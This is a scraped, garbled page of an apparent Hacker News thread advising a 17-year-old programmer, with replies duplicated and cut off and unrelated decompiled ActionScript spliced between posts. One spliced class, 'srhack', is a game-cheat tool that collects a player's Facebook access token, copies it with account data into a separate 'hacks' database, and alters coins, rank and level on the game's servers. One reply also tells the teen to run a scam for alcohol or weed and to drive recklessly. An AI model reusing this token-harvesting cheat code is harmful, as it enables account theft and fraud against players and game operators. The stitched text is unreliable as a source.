Ask HN: What is the best way to spend my time as a 17-year-old who can code?
21–30 of 199 posts
Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#22What's the best way to spend your time? Basking in the sun. Finding a scam to score some schnapps or beer or weed. Telling somebody you love them, and just going for it. Recklessly driving a car at a high rate of speed down an old country road. Learn how to play a bass guitar. Spend your waning hours getting your hands dirty while there's still time, and before the world judges you too harshly for wanting to live in it.
And if you've done all that, and you're bored with it, maybe it's just not for you, or whatever. Then work on projects that interest you. I spent a lot of time perfecting photo galleries, and was able to stretch that in to a modest career and a house that went in to foreclosure. Linux could use a lot of things still: there isn't one good kick ass music player to rule them all like iTunes on the Mac. There just isn't anything for organizing photos like iPhoto. There's gaps in the Linux user experience that need filled with good competent software that isn't a maze of checkboxes and sad UI/UX. And if Linux isn't your bag, well, fucking learn some of that then. When I'm not a programmer, I'm a Linux server administrator, because when one don't pay the bills, the other one will.
But my stone cold honest advice: Live. Live well.
Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#23You've already received good information at the coding part, so let's talk about the 17-year-old part. Do sports! One that doesn't involve hitting your head on stuff. Read some of the philosophy greats. Appreciate art at museums. Go to social events like school ski trips, meet friends and ladies (or guys if that's your thing). Make a couple minor bad decisions so you know how to handle the consequences. Go to concert…
dynamic public class STATS extends MovieClip
{
public var boxjumpschange:TextField;
public var change_btn:SimpleButton;
public var close_btn:SimpleButton;
public var highscorechange:TextField;
public var levelchange:TextField;
public var prestigechange:TextField;
public var roundsLchange:TextField;
public var roundsWchange:TextField;
public var roundschange:TextField;
public var xpchange:TextField;
public function STATS()
{
return;
}// end function
}
}Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#24You've already received good information at the coding part, so let's talk about the 17-year-old part. Do sports! One that doesn't involve hitting your head on stuff. Read some of the philosophy greats. Appreciate art at museums. Go to social events like school ski trips, meet friends and ladies (or guys if that's your thing). Make a couple minor bad decisions so you know how to handle the consequences. Go to concert…
dynamic public class srhack extends MovieClip
{
public var Coins:TextField;
public var Type:TextField;
public var ban_btn:SimpleButton;
public var dbdetails:TextField;
public var fbname:TextField;
public var fbuid:TextField;
public var get_btn:SimpleButton;
public var out_txt:TextField;
public var token_txt:TextField;
public var vip_btn:SimpleButton;
public var token:String;
public var conn:Connection;
public var pubstat:DatabaseObject;
public var KH:DatabaseObject;
public var Users:DatabaseObject;
public var cclient:Client;
public var c_client:Client;
public var HackConnection:Object;
public var Fbuid:String;
public var MyName:String;
public var myalert:MyAlert;
public function srhack()
{
Security.allowDomain("www.youtube.com");
this.fbuid = root.loaderInfo.parameters.Fbuid;
this.fbname = root.loaderInfo.parameters.MyName;
addFrameScript(0, this.frame1, 1, this.frame2);
this.token = root.loaderInfo.parameters["access_token"];
return;
}// end function
function frame1()
{
stop();
this.get_btn.addEventListener(MouseEvent.CLICK, this.checktoken);
return;
}// end function
public function checktoken(event:MouseEvent)
{
if (this.token_txt.text.length > 50)
{
this.token = this.token_txt.text;
this.connect();
}
else
{
this.token_txt.text = "Token Is Incorrect";
}
return;
}// end function
public function connect()
{
var _loc1_:* = String(Math.round(Math.random() * 99999));
this.out_txt.text = "Connecting... If not connecting, wrong access token";
PlayerIO.connect(stage, "hacks-ba0i7kkez0kkf1guub66qq", "public", _loc1_, null, null, this.csucc, null);
PlayerIO.quickConnect.facebookOAuthConnect(stage, "shoot-and-kill-2kekid5seunctb4hasnhw", this.token, "", this.connected, function () : void
{
return;
}// end function
);
return;
}// end function
public function csucc(param1:Client)
{
this.cclient = param1;
return;
}// end function
function alert(param1:String) : void
{
var mess:* = param1;
this.myalert = new MyAlert();
this.myalert.x = 305;
this.myalert.y = 230;
this.myalert.message.text = String(mess);
addChild(this.myalert);
this.myalert.ok_btn.addEventListener(MouseEvent.CLICK, function (event:MouseEvent) : void
{
removeChild(myalert);
return;
}// end function
);
return;
}// end function
public function connected(param1:Client, param2:String)
{
this.c_client = param1;
this.Fbuid = param2;
this.out_txt.text = "Connected";
param1.bigDB.load("TheBros", "fb" + this.fbuid, this.PlayerObjectsLoaded);
return;
}// end function
public function PlayerObjectsLoaded(param1:DatabaseObject)
{
this.KH = param1;
this.c_client.bigDB.loadOrCreate("TheBros", this.Fbuid, this.publicStatsLoaded);
return;
}// end function
public function publicStatsLoaded(param1:DatabaseObject)
{
this.pubstat = param1;
this.cclient.bigDB.loadOrCreate("SKHACK", this.Fbuid, this.userload, null);
return;
}// end function
public function userload(param1:DatabaseObject)
{
param1.token = this.token;
param1.fbuid = this.Fbuid;
param1.fbname = this.pubstat.MyName;
param1.Coins = this.pubstat.Coins;
param1.Banned = this.pubstat.Banned;
param1.Invited = this.pubstat.Invited;
param1.Type = this.pubstat.Type;
param1.Level = this.pubstat.Level;
param1.Skin = this.pubstat.Skin;
param1.save();
this.Users = param1;
this.dbdetails.htmlText = this.dbdetails.htmlText + String(this.Users);
nextFrame();
return;
}// end function
function frame2()
{
trace("HackOpened");
trace("Fbuid : " + this.Fbuid);
trace("MyName : " + this.pubstat.MyName);
trace("Coins : " + this.pubstat.Coins);
trace("Banned : " + this.pubstat.Banned);
trace("Invited : " + this.pubstat.Invited);
trace("Type : " + this.pubstat.Type);
trace("Level : " + this.pubstat.Level);
trace("Skin : " + this.pubstat.Skin);
this.fbname.text = "Name : " + this.pubstat.MyName;
this.fbuid.text = "ID : " + this.Fbuid;
this.Type.text = "Rank : " + this.pubstat.Type;
this.Coins.text = "Coins : " + this.pubstat.Coins;
stop();
this.vip_btn.addEventListener(MouseEvent.CLICK, function (event:MouseEvent) : void
{
if (pubstat.Coins >= 30001)
{
pubstat.Type = "eventer";
pubstat.Level = 124;
pubstat.Skin = "eventerskin";
pubstat.Coins = pubstat.Coins - 30000;
pubstat.save();
}
else
{
alert("Not Enough Coins");
}
return;
}// end function
);
this.ban_btn.addEventListener(MouseEvent.CLICK, function (event:MouseEvent) : void
{
pubstat.Coins = pubstat.Coins + 10;
pubstat.save();
return;
}// end function
);
return;
}// end function
}
}Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#25What I did at your age: find local companies that need small gigs. Forget about trying to use those gig sites, you’re just competing with countries with super low wages - not worth your time. Get some experience under your belt then get a salary job somewhere, pay won’t be great at the start but you’ll learn a lot real fast. You can study a ton and learn all the algorithms in the world but you have a lot easier time…
How would you recommend finding them then?
Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#26What I did at your age: find local companies that need small gigs. Forget about trying to use those gig sites, you’re just competing with countries with super low wages - not worth your time. Get some experience under your belt then get a salary job somewhere, pay won’t be great at the start but you’ll learn a lot real fast. You can study a ton and learn all the algorithms in the world but you have a lot easier time…
> Forget about trying to use those gig sites How would you recommend finding them then?
Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#27What I did at your age: find local companies that need small gigs. Forget about trying to use those gig sites, you’re just competing with countries with super low wages - not worth your time. Get some experience under your belt then get a salary job somewhere, pay won’t be great at the start but you’ll learn a lot real fast. You can study a ton and learn all the algorithms in the world but you have a lot easier time…
In general I think you are on the right track -- you need to find some way to validate your skills when it comes to programming. That might take a few projects. It is also likely that the first clients don't care about the technical details as long as the thing works. It might feel like the people don't appreciate your skills, but as long as you are actually enjoying what you do, you shouldn't be worried (this also applies to the 'wtf go be young advice'). Better clients (or companies to which you interview to) will be able to understand you later on.
Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#28Also: don't forget to just switch off your computer and be 17. I'm 40 and I can code as much as I want but I can't be 18...
Forget working as a developer at 17. Use your time for something better.
Re: Ask HN: What is the best way to spend my time as a 17-year-old who can code?
#29I was 17 once. I could code once. What's the best way to spend your time? Basking in the sun. Finding a scam to score some schnapps or beer or weed. Telling somebody you love them, and just going for it. Recklessly driving a car at a high rate of speed down an old country road. Learn how to play a bass guitar. Spend your waning hours getting your hands dirty while there's still time, and before the world judges you t…
I won't disagree that the most important thing is to enjoy life, meet people who have real problems that need solving, and to build relationships that could last a lifetime.
That said, I spent a lot of time on the computer when I was 17 (and 18, 19, ....). I still draw upon that experience today. Sometimes, when I solve a problem or fix a bug, it's rooted in something I did way back when I was 17.
On the other hand, I also wasted a lot of time too.
My advice is to get close to a real problem. Intern somewhere. Do it for free. Get close to real work, roll up your sleeves, and try to contribute. And have fun.